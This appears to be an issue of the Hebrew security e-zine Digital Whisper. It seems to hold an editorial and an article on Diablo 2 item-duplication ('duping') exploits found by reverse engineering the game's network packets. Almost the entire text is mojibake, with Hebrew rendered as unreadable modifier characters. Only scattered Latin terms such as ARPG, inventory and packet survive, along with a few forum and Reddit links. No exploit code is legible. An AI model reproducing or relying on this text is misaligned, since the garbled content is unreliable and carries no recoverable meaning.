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ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  муу ,   ˦˯ˣˠˣ˞нлнс  н 
 

˶˟ˡ ˶ˣ˰ˢ ˨ 
 

ˬ˞; ˵ ˪  ˧ ˮ˞ ˸˟ˤˣ˰ ! 

˧ˮ˲˪  ˸˴˵  ˶˸ˣ˧ ˢˮ˷ˬ  ˵˧˲˞ ˰˯ˮ  ˰˯ˬ˪   ˪ ˷  ˶ ˲˯ˬ  ˫ ˧˷ˡˣ˥   ˷ ˵˧˟ˣ  s ˶ˤ˰ ˪ˣˢ˧ˮ˟ ˭ˣ˥˶˧ˢ ,˧ˮ˞ˣ ˧˸˟ˡˮ˸ˢ . 

˞˪   ˧ ˸˟˷˥  ˧ˡ˧˵˲˸˷   ˸ ˩˶ˣ˰˩  ˨˧˷ˬ˧   ˫ ˠ  ˶˥˞˪  ˣ˸˶ˤ˥  ˪ ˷  ˵ ˧˲˞  , ˪ ˟˞   ˞ ˣˢ˷˩   ˰ ˧˴ˢ  ,ˢˤ ˢ˧ˢ  ˢ˞˶ˮ  ˧˪   ˧ ˰˟˦  

˶ˣ˶˟ˣ  ˨˧˷ˬ˞˷  ˨ˣ˶˰˪  ˸˞  ˭ˣ˥˶˧ˢ  ˡ˥˧   x ˸˧˞.   ʕ ˞ˬ  ˶˟˰  ˸˴˵  ˭ˬˤ  , ˧ ˸˲˪˥ˢ   s ˡˣ˟˰  ,˧˸˶˟˰  ˢ˶˧ˡ  ,ˣ˪˧˲˞ˣ  

 ˧ ˸˵˲˯ˢ  ˰ ˵˸ˢ˪  l ˰˧˟ ˧˲ˣ˶˦  ˢˬ˥˪ˬ˟  ˫˰   ˭ ˞˶˧˞ . 

˸˴˵ ˢˮˬˣ˧ˬ ˪˷  ˸˩˶ˣ˰  : 

 ˫ ˧˸˧˰˪   ˧ ˸˥˪˷   ˸ ˬ˧˷˶  ˫˧˷ˠˡ  , ˧ ˸˪˟˧˵ˣ   ˶ ˬ˞ˬ   ˞ ˪˷   ˫ ˷ˣ˧  ˣ˟  ˱˞   ˞ ˪   ˷ ˠˡ  ˡ˥˞  . ˫ ˧˶˵ˬ˟   ˫ ˧ˬ˧ˣ˯ˬ   ˧ ˸˪˟˧˵  

 ˫ ˧˶ˬ˞ˬ   ˪ ˩˷  -sRTL   ˫ ˢ˪˷  ˷˟˶ˣ˥ˬ  ˭˧˦ˣ˪˥˪  .ˣ˧ˢ  ˫˧˶ˬ˞ˬ   ˧ ˸˩˶˰˷   ˫ ˢ˟  ˦˰ˬ˩  ˪˩  ˢ˪˧ˬ  , ˭ ˩˷   ˶ ˬ˞ˬˢ  

ˢ˧ˢ   ˫ ˴˰˟   ˦ ˣ˟˶˷  ˸ˣ˟˷˥ˬ  ˪˷   ˫ ˡ˞  ˫˩˥   ˶ ˷˩ˣˬˣ  ˡˣ˞ˬ  ,˨˞  ˫˰  ˦˰ˬ  ˧˷ˣ˵  ˫˧˷˪˟   ˸ ˞  ˣ˶˵˥ˬ   ˪ ˰  ˟˸˩ˢ  .

˧ˮ˞  ˧˩ˢ   ˸ ˟ˢˣ˞  ˸˞   ˫ ˧˶ˬ˞ˬˢ  ˫ˢ˟˷   ˸ ˣˮˣˬ˸˪  ˷˧  ˫˧˧˥  ˪˷ˬ  ˬ˴˰ ˭ ˧ˮ˞ˣ   s ˯ˮˬ   ˷ ˥ˮ˪  ˢ˲˧˞   ˦ ˯˵˦˟   s ˮˣˬ˸ˢ  

ˢ˸˧ˢ  ˢ˶ˣˬ˞  ˰˧ˠˢ˪  .˫˧ˬ˰˲˪  ,ˢ˧ˢ  ˧˪  ˯˲˞  ˸ˣ˥ˣ˩  ˸ˣˮ˰˪  ˫˧˟˸ˣ˩˪  ,˧˸˯˞˟˸ˢ  ˧˸˥˪˷˷  ˶ˬ˞ˬ  ˨ˣ˶˰   ˧ ˸˪˟˧˵ˣ  

 ˞ ˪ˬ   ˫ ˧ˮˣ˵˧˸  , ˷ ˬˬ   ˞ ˪   ˧ ˸˧˴˶   ˸ ˟˷˪   ˸ ˟˷˟   ˨ ˣ˶˰˪   ˸ ˞  ˶ˬ˞ˬˢ   ˫ ˰  -s67  ˫˧ˡˣˬ˰  , ˞ ˪   s ˧ˢ   ˧ ˪   ˳ ˬ˷   ˪ ˷   ɣ ˷ˣˬ  

ˢˬ   ˟ ˣ˸˩˪   ˧ ˶˟ˡ˟  ˢ˥˧˸˲ˢ  )ˡ˧ˬ˸ˣ  ˧˸˧ˢ˸  ˫˞  ˣˢ˷˧ˬ   ˪ ˪˩˟  ˞˶ˣ˵   ˫ ˸ˣ˞  ,( ˷ ˡˣ˥ˢˣ  ,˞˪   ˧ ˸˥˪˴ˢ  ˞˧˟ˢ˪   ˸ ˞  

˧ˬ˴˰  ˟ˣ˸˩˪  ˫ ˸ˣ˞ , ˧ ˩  ˧ ˮ˞ ˸˞ˮˣ˷ ˸ˣˡ˧˶˲  . 

 ˪ ˟˞  ˪ ˩˟ ˷ˡˣ˥ , ˧ ˸˥˪˴ˢ . ˨ ˣ˶˰˪  ˸ ˞ ˪˩  ˫ ˧˶ˬ˞ˬˢ ,˭˧˩ˢ˪  ˸˞  ˭ ˣ˧˪ˠˢ , ˸ ˣˮ˰˪  ˪ ˩˪ ˫˧˟˸ˣ˩ˢ ,  ˫ ˷˧˧˪ ˪˩  ˭ ˣ˵˧˸  

˯˟˸ˣˮ˪˟   ˸ ˸˪ˣ  ˫ ˩˪ ,˫˧˞˶ˣ˵ˢ  , l ˣ˰  ˭ ˣ˧˪ˠ ˥˪˴ˣˬ   ˪ ˷  ˭ ˣ˥˶˧ˢ ˫˧ˢˡˬˢ  s ˤˢ . 

 ˸ ˣ˟˧ˣ˥ˬˢ   ˭ ˣ˥˶˧˪ ˢ˰˧ˠˢ ˶˲˯ˬˬ  ˸ ˣ˟˧˯ 

ˢˮˣ˷˞˶ˢ  ˧˩ˢˣ  ˢ˟ˣ˷˥   ï   ˵ ˧˲˞  .˸ˣˬ˩  ˢ˩˶˰ˢˢ   s ˴˶˰ˢˢˣ   ˷ ˧˷  ˧˪  ˧˲˪˩  ˭˟ˢ   ˫ ˡ˞  ˢˤˢ  ˞˧ˢ  ˧˸˪˟   ˸ ˮ˸˧ˮ  

 ˶ ˣ˞˧˸˪  ,˞˪   ˵ ˶   ˧ ˩   ˞ ˣˢ   ˫ ˤ˧   ˦ ˵˧ˣ˶˲   ˧ ˞   ˫ ˷   ˸ ˮ˷˟  2009  ˞ˣˢˣ   l ˰   ˫ ˣ˧ˢ  ˵ˤ˥˸ˬ  ˣ˸ˣ˞  , ˞ ˪˞   ˧ ˩   ˞ ˣˢ   ˵ ˤ˥˸ˬ  

ˣ˸ˣ˞ ˢ˶ˣ˴˟  ˢˬ˧ˢˡˬ  .˫ˣ˧ˢ ˶ˣ˸˟  ˧ˢ˷˧ˬ  ˢ˸˧ˢ˷  ˸˧˞˶˥˞ ˢˬ˴˰˟  ˭ˣ˥˶˧˪  ,˧ˮ˞ ˢ˪ˣ˩˧ ˡ˧˰ˢ˪  ˢˬ˩  ˢˤ  ˢ˷˵  ,

ˢˬ˩  ˸˰ˬ˷ˬ   ˸ ˧ˬ˴˰  ˢ˧˴˧˟˦ˣˬˣ   ˨ ˧˶˴   ˧ ˡ˩   ˵ ˤ˥˸˪   ˸ ˞  ˶˟ˡˢ  ˢˤˢ  , ˧ ˮ˞ˣ   ˸ ˶˟ˡˬ  ˪˰  ˢˮ˷   ˧ ˴˥ˣ  , ˵ ˧˲˞   s ˷ˣ˰  

˸˞ ˢˤ ˶˟˩  ˦ ˰ˬ˩ 20  ˢˮ˷  . 

ˢ˟˧˯ˢ  ˢ˧ˮ˷ˢ  ˞˧ˢ  ˭ˣ˥˶˧ˢ  ˣˬ˴˰  . ʕ ˞ˬ   ˧ ˸˯˧˧ˠ˸ˢ˷  ˞˟˴˪  ˧ˮ˞   ˸ ˞˶ˣ˵  ˸ˬ˯˶˲ˬˣ  ˭ˣ˥˶˧˟  , ˶ ˟˰ˬ   s ˞ˮˢ˪  

˧˸˪˟˧˵˷   ˸ ˞˧˶˵ˬ  ˢ ˫ ˧˶ˬ˞ˬ  ,˸ˣ˰˴ˬ˞˟  ˸ˣˮˬˡˤˢˢ   ˧ ˸˪˟˧˵˷   ˫ ˯˶˲˪  ˭ˣ˥˶˧˟  , ˧ ˸˧˪˧ˠ  ˸˞  ˢˬ   ˧ ˮ˞˷   ˧ ˩ˢ  

 ˸ ˟ˢˣ˞  ˧˩ˢˣ  ˢ˟ˣ˦   x ˟   -   l ˣˬ˪˪  , l ˬ˪˪ˣ  .˧ˮ˞   ˞ ˪  ˢ˪ˣ˩˧   ˭ ˧˧ˬˡ˪  ˱˞  ˢˬ˶ˣ˲˦˪˲  ˸˶˥˞  ˢ˸˧ˢ˷  ˸˶˷˲˞ˬ   ˧ ˪   ˪ ˟˵˪  

˸˞  ˸ ˣˮˬˡˤˢˢ ˢ˲˧˷˥ˢˣ  x ˤˢ , ˥ ˴ˮ˪ˣ  ˶ ˧˵ˣ˞  s ˡˣ˸ ˪˰  ˨ ˩ . 
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  !˫˧˟˸ˣ˩ˢ ,˸˧˷˧˪˷ ˢ˟˧˯  ˧˩ˢ ˟˪˷˟ ˫˧˶˵˥ˬ ˸ˣ˞˶˪ ,˫˧˶˷˩ˣˬ ˫˧˟˸ˣ˩ ˸ˣ˶˷˰ ˫˰ ˡˣ˟˰˪ ˸ˣ˩ˤˢ ˧˪ ˢ˸˧˧ˢ

 l ˧˵˲˸˟ ˸ˣ˵˲˯ˬ ˧˩ˢ ˸ˣ˧ˣˣ˥ˢ ˸˥˞ ˢ˸˧˧ˢ ˣˤ .˫˧˶ˬ˞ˬ˪ ˫˸ˣ˞ ˨ˣ˲ˢ˪ ˶ˣˤ˰˪ˣ ,˫ˢ˪˷ ˧ˬ˪ˣˠ. 

ˢ˟˧˯ˢ  ˣ˶˥˞ˢˢˮ  , ˫ ˧˞˶ˣ˵ˢ   )˫˸˞  .(!˶˟˰ˬ  ˵˟ˡ˧˲˪  ˶ˡˢˮˢ  ˣˮ˥ˮ˞˷   ˫ ˧˪˟˵ˬ  ˫˩ˬ  , ˧ ˮ˞  ˸˰ˡˣ˧   s ˬ˩   ˫ ˧˷ˮ˞  

˫˧˞˶ˣ˵  ˸˞   ˭ ˣ˥˶˧ˢ  ) ˭ ˩  ,˷˧  ˧˪  ˢ˷˧ˠ  ˫˧ˮˣ˸ˮ˪  ˣ˪˞ˢ  :P  ,(˫˸˞  ˞˪  ˣˮ˧ˬ˞˸  ˸ˣ˧ˣˬ˩˪  .˫˧˞˶ˣ˵ˢ   ˫ ˧˵˪˥˸ˬ  

 ˫ ˧˷ˮ˞˪   ˫ ˧˵˯ˣ˰˷   ˫ ˣ˥˸˟  , ˫ ˧˪˧˧˥  ˞˟˴˟  , ɣ ˣ˯ˢˣ   ˟ ˣˢ˞ˢ   ˧ ˪˰   ï   ˫ ˧˷ˮ˞   ˷ ˧˷   ˫ ˢ˪  ˢ˵ˣ˷˸  ˢˬˣ˴˰  ˫ˣ˥˸˪  

˶˟˧˧˯ˢ  , ˫ ˠ   ˫ ˞  ˫ˢ   ˞ ˪  ˫˧˵˯ˣ˰  ˣ˟  . ˷ ˧ˣ   ˨ ˩˪˩  ˢ˟˶ˢ   s ˪˞˩  ! ˪ ˩  ˡ˥˞   ˫ ˢˬ   ˪ ˣ˩˧  ˫ˣ˧   l ˥˞  ˪˟˵˪  ˢ˧˴˟˧˦ˣˬ  ,

˧˪ˣ˞  ˪˪ˠ˟   ˶ ˬ˞ˬ   ˞ ˶˵˷  ,˧˪ˣ˞  ˪˪ˠ˟   ˧ ˶˟ˡ  ˢ˥˧˸˲ˢ  ,ˣ˞   ˪ ˩ˬ  ˢ˟˧˯  ˸˶˥˞  , ˸ ˣ˷˰˪  ˶˵˥ˬ  ,˫˯˶˲˪ˣ  ˣ˸ˣ˞   ˭ ˞˩  !

 ˧ ˪ˣ˞ˣ  s ˬ˶ˣ˲˦˪˲ˢ ˣˤˢ  ˢ˪ˣ˩˧   ˸ ˣˮ˷˪ ˫˧˧˥   ˪ ˷ ˫˧˷ˮ˞ ˫˧˲˯ˣˮ , ˧ ˲˩ ˞˧ˢ˷  ˢ˸ˮ˧˷ ˸˞  ˧ ˪˷  . 

ˤ˞  ˧ ˶˥˞ ˪˩  s ˤ  ,ˢˬ˪ ˧ˮ˞  ˸˟ˤˣ˰? 

˫˧˞˶ˣ˵ˢ   ˫ ˧˵˧˸ˣˢ  ˪˷   ˭ ˣ˥˶˧ˢ   ˧ ˪ˣ˞  ˫˧˰ˡˣ˧   ˧ ˮ˲˪˷   ˧ ˸˩˲ˢ˷  ˸˩˶ˣ˰˪   ˧ ˸˟˸˩   ˞ ˪   ˦ ˰ˬ  ˫˧˶ˬ˞ˬ   ˧ ˬ˴˰˟  , ˪ ˰  

 ˫ ˧˶˵˥ˬ   ˫ ˧ˮ˦˵  ˧˸˧˧ˢ˷  s ˷ˣ˰  ˧˲ˣ˯˟   ˰ ˣ˟˷ˢ  .˪˟˞  ˶˟˸˯ˬ  ˨ ˣ˶˰˪˷  ˸˞  Digital Whisper   ˥ ˵ˣ˪  ˧˧ˡ   s ˟˶ˢ  

˭ˬˤ ˧˲ˣ˯ˬ ˰ˣ˟˷ˢ ,ˢ˩˩ ˤ˞ˬ˷ ˧˸˩˲ˢ˷  ˸˩˶ˣ˰˪  ,˞˪  ˧ ˸˧˩ˤ   ˟ ˣ˸˩˪  ˱ ˞  ˶ ˬ˞ˬ ˭ˣ˥˶˧˪ . 

˧˲˩ˣ  ˧˸˶ˬ˞˷  , ˶ ˟ˡˢ   ˧ ˮ˞˷  ˧˩ˢ   ˸ ˟ˢˣ˞  ˢˤ   l ˣˬ˪˪   l ˬ˪˪ˣ  , ʕ ˞  ˡ˰   s ˬ˩  ˧ˮ˞˷   ˸ ˮˢˮ   ˸ ˣ˧ˢ˪ˬ  ˸˩˶ˣ˰ˢ   ˪ ˷  

 ˭ ˣ˥˶˧ˢ  ,˧ˮ˞  ˸ ˰ˠ˰ˠ˸ˬ ˢ˶ˣ˴˟  ˞˪ ˸˧˪˞ˮˣ˧˴˶ˣ˲ˣ˶˲  ˸ˣ˧ˢ˪ ˸˟˸ˣ˩ x˟  . 

ˤ˞  ˧ˮ˞   ˞ ˪  ˸ˬ˞˟  ˸˟ˤˣ˰  , ˧ ˮ˞   ˵ ˶  ˢˬ˷   s ˶ˤ˥˟   ˸ ˞  ˰˟ˣ˩ˢ  ˟ˣˢ˞ˢ  ˧˪˰  , s ˶˧ˤ˥ˬˣ  ˵˧˲˞˪  ˸˞   ˰ ˟ˣ˩ˢ   ˨ ˩˪˩˷  

˧˸ˮˢˮ ˷ˣ˟˥˪  ï  ˸ ˩˶ˣ˰ Digital Whisper . 

˫˧˧˯˞  ˡ˧ˠˢ˪˟  ˫˩˪  ˢˡˣ˸  ˫˸˪˟˧˵˷  ˧˸ˣ˞   s ˟ˢ˞˟  , ˵ ˧˲˞˪ˣ  ,ˢˡˣ˸  ˪˰  ˸ˣˮˬˡˤˢ  ˢˮ˷ˬ  ˫˧˧˥  ,ˢ˞˶˸ˮ   ˶ ˬ˞ˬ˟  

˞˟ˢ  ˧ ˪˷ 3 <   

˭˟ˣˬ˩ˣ  Σ ˧ ˮ˲˪  ˷ˠ˧ˮ˷  ˭˩ˣ˸˪  ˭ˣ˧˪ˠˢ  Σ s ˴˶ˮ   l ˧ˠˢ˪  ˢˡˣ˸  ˪˩˪  ˧ˬ   ˟ ˷˧˷  ˰˧˵˷ˢˣ  ˣˮˬˤˬ  ˟˸˩ˣ  ˣˮ˪  ˶ˬ˞ˬ   ˷ ˡˣ˥ˢ  Φ

ˢˡˣ˸  ˢ˟˶   ˧˪˪ s ˟ˣˡˮ ˭˶  Σˢˡˣ˸  ˢ˟˶  ˪˶ˣ˞ ˶˟ ˭˸ˮˣ˧  Σˢˡˣ˸  ˢ˟˶  ˪˫ˢ˶˟˞ ˶˧ˮΣ  ˢˡˣ˸   s ˟˶  ˪˧˵ ˣˢΣ  ˢˡˣ˸   s ˟˶  

˪˭ˣ˞˧˷ ˭˸ˮˣˢ˧ Η 

 ˢ˞˧˶˵ ˢˬ˧˰ˮΣ 

 ˶˧˲˯ ˧˵˯˟ˣ˶ˡ˲ ˵˧˲˞ˣ  ˪˞˧˦˯˵ 
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ˤ˞  ˢ˲˧˞  ˢ˲  ˢ˧˰˟ˢ  Κˢ˧˰˟ˢ  ˞˧ˢ  ˨˩˟  ˢ˧˴ˤ˧˪˞˧˶˯ˡ˷   ˞ ˧ˢ  ˫˴˰˟  ˢ˷˰ˬ  ˪˷  ˭ˣˬ˞  ˶ˣˣ˧˰  ˦˪˥ˣˬˣ   ˷ ˬ˸˷ˬ˟  

ύ˫˞  ˞˪ ˫˧ˬ˷˧˧ˬ ˧ˮˣˮˠˮˬ ˢˮˠˢ ˧˲˩ ˢ˞˶ˮ˷  ˨˷ˬˢ˟ Φό 

 

˫˸˞˷˩  ˫˧˷ˣ˰  ˢ˧˴ˤ˧˪˞˧˶˯ˡ  Σ˫˸˞  ˫˧ˮ˸ˣˮ  ˱˴˶˪  ˫˧˦˧˧˟  ˧ˬ˧ˮˣˮ˞  Σ˪ˣ˩˧˷  ˰˧ˠˢ˪  ˳˟ˣ˵ˬ  ˧ˮˣˡˤ  Σ˸˶˷ˬ  ˵˥ˣ˶ˬ  ˣ˞  

 x ˧ˡ˧ˬ  ˪˷   ˶ ˵˞ˢ  Σ ˟ ˧˸˩ˢ˪  ˟˷˥ˬ˪  ˫˩˪˷   x ˪˧˞  ˫˧˦˵˧˧˟ˣ˞  ˫˧˩˪ˣˢ  ˶˴ˣˣ˧ˢ˪   ˨ ˣ˸˟  ˭ˣ˶˩˧ˤˢ   x ˪˷  Φ ˸ ˣ˶ˣ˦˵˦˧˩˶˞˟  

ˢˮ˩ˣ˸  ˸ˣ˥˲  ˸ˣ˥˪˴ˣˬ  Σ ˱ ˴˶ˢ  ˢˤˢ  ˣ˪˧˲˞  ˪ˠˣ˯ˬ  ˰ˣ˟˵˪  ˢˤ˧˞  ˡˣ˵  ˳ˣ˶˧  ˭ˬˤ˟  ˫˧˦˵˧˧˟ˣ˞ˢ˷  ˣ˪˞ˢ   ˫ ˧˶˴ˣˮ  Φ

˸ˣ˥ˣˮˢ  ˸˶˩ˬˬˢ  ˪˷  Ϧ˦ˣ˷˲  ˞˧˟˸  ˧˪  ˸˞  ˦˵˧˧˟ˣ˞ˢ  ˧˪˷  ˣˬ˩  ˞ˣˢ˷  ˢ˧ˢ  Ϧˢ˶˧˸˯ˬ  ˢ˧˶ˣ˥˞ˬ  ˢ˪˞˷   ˸ ˧˦˧˶˵  

˸˟˧˧˥˷   l ˢˡˢ˪  x ˷˞˶˟ ˪˷ ˪˩  ˥ ˸˲ˬ ˭ˬˤ˟  ˸ ˟˧˸˩  l ˣ˵ˢ Υ˧ˬ   ˪ ˤ˞ˤ˰˪  ˟ ˸˩  ˸ ˞  ˫ ˧˦˧˧˟ˢ ˣ˪˞ˢ  Σˢˬˣ ˞ˣˢ  ˰ ˠ˶ˢ  

˷˵˧˟ ˸˧ˮ˩ˣ˸ˢˬ  ˧˪˷  ˰ ˴˟˪ ύ Κ˪˪˩ Ім  ˸˟˧˸˩˪ ˡˣ˵  ˥ ˦˟ˣ˞ˬ ό 

 

˯˧˧˵ ˧ˡ˞˦˯ Υˣ˪˟˞˧ˡ н 

˧ˡ˩   ˫ ˧ˠˡˢ˪  ˠ˞˟   ˪ ˷  ˢ˧˴ˤ˧˪˞˧˶˯ˡ  Σ˶ˣˤ˥ˮ   ˰ ˠ˶  ˭ˬˤ˟   ˭ ˥˟ˮˣ   ˸ ˞  ˡ˥˞  ˧˵˥˷ˬˬ   s  ARPG  ˫˧˟ˣ˦ˢ   ˶ ˸ˣ˧˟   ˧ ˞˷   ˫ ˰˲  

ˣ˞˴˧ ˞˪ˢ ˞ˣˢ  Diablo 2 ˪˷ ˸˶˟˥ ˡ˶˞ˤ˧˪˟ ˸ˮ˷ˬ нллл Φ˧ˬ ˵˥˧˷˷ ύx˞ ˭˧˧ˡ˰  ˵ ˥˷ˬ Σ˭ˣˣ˧˩ˬ ˵˥˷ˬ˪˷  ˭ ˧˧ˡ˰  

˫˧˩˧˷ˬˬ ˸˞˴˪ ˫˧ˮˣ˩ˡ˰  l ˰   ˫ ˣ˧ˢ   ˭ ˣ˩ˮ   ˧ ˮˣ˧˪  нлнс  ό ˶ ˩ˣˤ   ˵ ˥˷ˬ˟˷   s ˸˧˧ˢ  ˢ˪˩˪˩  ˸˲˶ˣ˦ˬ  ˪ ˷   ˫ ˧˴˲˥  ˫˧˶˧ˡˮ  Σ

ˢ˩˲ˢ˷  ˪˩˪  ˨˩  ˸˪˰˟  ˨˶˰  ˡ˰  ˢˬ˵˷  ˢ˟˧˟˯  ˢ˧˧˷˰˸  ˢˬ˪˷  ˪˷  ˫˧ˮ˵˥˷  ˣ˯˧ˮ˷  ˪˲˩˷˪  ˫˧˴˲˥  ύ s ˪ˣ˰˲  

 ˸ ˞˶˵ˮ˷ ˫˪ˣ˰˟  ɣ ˮ˧ˬ˧˧ˠˢ dupingΦό 

ˣ˪˟˞˧ˡ˟  н  Σ˦ˮ˧˧˪˵  ˵˥˷ˬˢ  ˶˟˥˸ˢ  ˸˶˷˪  ˧ˤ˩˶ˬˢ  ˪˷  ˡ˶˞ˤ˧˪˟  Σ˪˩ˣ  ˢˬ  ˢ˶ˣ˵˷  ˪˰  ˨˯ˬˢ  ˫˩˪˷  Σ ˫ ˣ˵˧ˬˢ  

˪˷   ˸ ˣˬˡˢ  Σ˧˞˪ˬˢ  ύinventory  Σό˫˧˴˲˥ˢ  ˫˧˵ˣ˶ˤ˷  ˪˰  ˢ˲˴˶ˢ  ˸ˣ˪ˣ˰˲ˢˣ  ˪˷  ˫˧ˮ˵˥˷ˢ  ˫˧˶˥˞ˢ  Σ ˶ ˷˵˸ˬ  

˫˰  ˸ ˶˷ˢ ˱˴˶˩  ˪˷   ˸ ˣ˪˧˟˥  ˰ˡ˧ˬ   ˸ ˣ˧˶˞ˮ˧˟  ˸ ˣˮ˦˵ ˸ˣ˶˟ˣ˰˷ ˢ˧˴ˤ˧˪˞˧˶˯  Φ 

 l ˶˞ˤ˧˪˟  ˭˟ˣˬ˩   ˫ ˪ˣ˰ˬ  ˞˪  ˢ˶˶˥˷   ˸ ˞   l ˣ˵  ˶ˣ˵ˬˢ  ˪˷  ˵˥˷ˬˢ  Σ˪˟˞   ˰ ˴ˬ˞˟   ˸ ˣˮ˷  ˫˧˧˲˪˞ˢ  ˢ˴ˣ˟˵   ˪ ˷   ˧ ˷ˮ˞  

reverse engineering  ˫˧ˬˣ˶ˣ˲˟  ˪˷  valhallalegends  ˢ˥˧˪˴ˢ  ˥ˮ˰˲˪  ˡ˰˸˪ˣ   ˸ ˣˮ˵ˡ˵ˡ˟  ˸˞  ˪ˣ˵ˣ˦ˣ˶˲ˢ  ˢˤˢ  

˦ˣ˷˲  ˪˰  ˧ˡ˧  ˢˮˤ˞ˢ   ˫ ˧˦˧˧˟˪  ˫˧˧ˬ˪ˣˠˢ  ˣ˶˟˰˷  ˸˷˶˟  Φ˶ˣ˷˶˷  ˢ˷˪ˣ˥ˢ  ˶˵˥ˬˢˣ  ˥˸˲ˮ  ˸ˮ˷˟  нллр  ˪˰   ˧ ˡ˧  

˷ˬ˸˷ˬ  ˫˷˟   x ˠˮ˧˶  ύRingo  όˡ˰˧˸˷   ˵ ˣ˧ˡ˟   ˨ ˧˞  ˸ˣ˪˧˟˥   ˰ ˡ˧ˬˢ  ˣ˪˞ˢ   ˸ ˣ˧ˣˮ˟  

ύhttps://web.archive.org/web/20071030183649/http://forum.valhallalegends.com/index.php?t

opic=11756.0Φό   

ˢˬ   ˶ ˵˥ˬˢ˷   ˪ ˷   x ˠˮ˧˶   ˱ ˷˥   ˞ ˣˢ  ˦ˬ˶ˣ˲  ˢ˧˴ˤ˧˪˞˧˶˯  ˧˯ˡˮˢˬ˷  ˡ˶˞ˤ˧˪˟   x ˟˸˩   ˧ ˶ˬˠ˪   ˫ ˬ˴˰˟  ˯˲˞ˬ  Φ ˪ ˩  

 ˸ ˪˧˟˥  ˰ˡ˧ˬ  ύpacket  όˢ˶˟˰˷  ˸˷˶˟  ˢ˸˧˧ˢ  ˢ˷˰ˬ˪   ˦ ˵˧˧˟ˣ˞  ˶˟˰˷  ˢ˧˴ˤ˧˪˞˧˶˯  Σ˶˷˞˩  ˦˧˧˟ˢ   ˭ ˣ˷˞˶ˢ  

http://www.digitalwhisper.co.il/
https://web.archive.org/web/20071030183649/http:/forum.valhallalegends.com/index.php?topic=11756.0
https://web.archive.org/web/20071030183649/http:/forum.valhallalegends.com/index.php?topic=11756.0
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 ˶ ˧ˡˠˢ ˸˞  ˠˣ˯ ˢ˪˧˟˥ˢ  Σˣ˧˶˥˞ˣ ˣ˰˧ˠˢ  ˸ ˣˡ˷ˢ  ˫ ˰ ˰ˡ˧ˬˢ ˧ˠˣ˪ˢ Φ 

 

 

 

ˢˮˢ ˞ˬˠˣˡ ˨ˣ˸ˬ ˡˣ˰˧˸ˢ ˫ˣ˶ˣ˲˟  Σ˶ˣˤ˥˷˟  ˟ ˶ˣ˵ˬ ˡˣ˵˪  ˶ ˣ˵ˬˢ ˧˸˧ˬ˞ˢ ˪˷ ˵˥˷ˬˢ ˧ˡ˩  ˭˧˟ˮ˷  ˸˞ ˭ˣ˧˰˶ˢ Υ 

 

 

 l ˣ˵   s ˧˴ˤ˧˪˞˧˶˯ˡ   ˧ ˟˧˞ˮ   ˶ ˣ˟˰   ˪ ˣ˵ˣ˦ˣ˶˲ˢ  ˢˤˢ  ˢ˞˶ˮ   ˵ ˣ˧ˡ˟  ˣˬ˩   l ˣ˵  ˪˩˷   ˥ ˸˲ˬ   ˰ ˴ˣˬˬ  ˢ˧ˢ  ˟˸ˣ˩  ˸˥˸   ˳ ˥˪  

˪˷  ˭˧˧˪ˡˡ   ˧ ˮ˟˴˰  ˱ˣ˯˟  ˦ˮ˧˶˲˯ˢ  ύˣˬ˧˷   ˟ ˪  ˞˪˷  ˶˟ˣˡˬ  ˡˣ˵˟  ˧˸˧ˬ˞ˢ  Σ˞˪˞   s ˶˰˷ˢ  ˡ˴˧˩˪  ˞ˣˢ   ˷ ˬˣˬ  

ˡˮ˞˵˟˟ Υό 
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˵˪˥ˢ  ˵˸˶ˬˢ  ˸ˬ˞˟   ˶ ˣ˲˧˯˟  ˢˤˢ  ˞ˣˢ  ˨˶ˡˢ  ˢ˟˷  ˣˡ˟˰  ˫˧˪ˣ˲˩˷ˢ  ˪˷  ˫˧˴˲˥ˢ  Φ˫˧˲˵ˣ˸ˢ  ˪˪˩˟  ˞˪   x ˧ˢ  

˫˧˩˧˶˴  ˶ˣ˟˷˪  ˸˞  ˭ˣ˶˩˧ˤˢ  ˪˷  ˸˶˷ˢ  ˣ˞  ˳˧˶ˢ˪  ˡˣ˵  ˧ˮˣˡˤ  Σ˫ˢ  ˦ˣ˷˲  ˣ˪˴˧ˮ  ˢ˰˶˪  ˸˞  ˟˴ˬˢ  ˧ˠˣ˪ˢ   ˪ ˷  

˪ˣ˵ˣ˦ˣ˶˲ˢ Σ ˶ ˷˞˩ ˥˸˲ˬˢ ˪˩˪ ˢˠ˧ˠ˥ˢ  x ˤˢ ˢ˧ˢ  ˭ ˣ˪˥ ˡ˧˧˶˦ˢ ˭˧˟ ˫˧ˮ˵˥˷ˢ Φ 

 

ύ˶ˣ˵ˬ ΥƘǘǘǇǎΥκκǿǿǿΦǊŜŘŘƛǘΦŎƻƳκǊκŘƛŀōƭƻнκŎƻƳƳŜƴǘǎκмƳŘнпфпκǎƻƳŜōƻŘȅψŀǎƪŜŘψƘƻǿψƳŀƴȅψƭƛƴŜǎψƻŦψǎǘŀǘǎψŀƴψƛǘŜƳκІƭƛƎƘǘōƻȄ ό 

 

˭ˬˤ˟  ˡ˧˧˶˦˷  ˞˴ˬˮ  ˶˧ˣˣ˞˟  Σ˸˶˷ˢ  ˶˴˧˧ˬ  ˶˲˞˟  ˧ˮˬˤ  ˪˲˩˷ˬ˷  ˸˞  ˧˞˪ˬˢ  ˪˷  ˫˧ˮ˵˥˷ˢ  Φ˫˧˶˵ˣ˥ˢ  ˣ˪˧ˠ   ˫ ˞˷  

 ˭ ˵˥˷   ˥ ˧˪˴ˬ   ˫ ˣ˯˥˪  ˣ˞  ˸ ˣˮ˷˪   ˸ ˞  ˶ˡ˯  ˸ ˣ˪˧˟˥   ˰ ˡ˧ˬˢ  ˸ˣ˶ˠˣ˯˷  ˸ ˞  ˢ˵˯˰ˢ Σ˪˷ˬ˪  ˶ ˷˞˪   ˸ ˞   l ˧˧˶˦ˢ   l ˴ˬ  

ˡ˥˞  ˪˧˟˵ˬ˟ˣ  ˫ˣ˶ˠ˪  ˸˶˷˪  ˶ˣˠ˯˪  ˸˞  ˭ˣ˪˥ˢ  ˥ˣ˩˟  ˪˪ˠ˟  ˰ˣ˶˧˞  ˶˥˞  ˭˧˦ˣ˪˥˪  ˵˥˷ˬ˟  ˣˬ˩  ˶ˣ˟˧ˡ  ˫˰   ˸ ˣˬˡ  

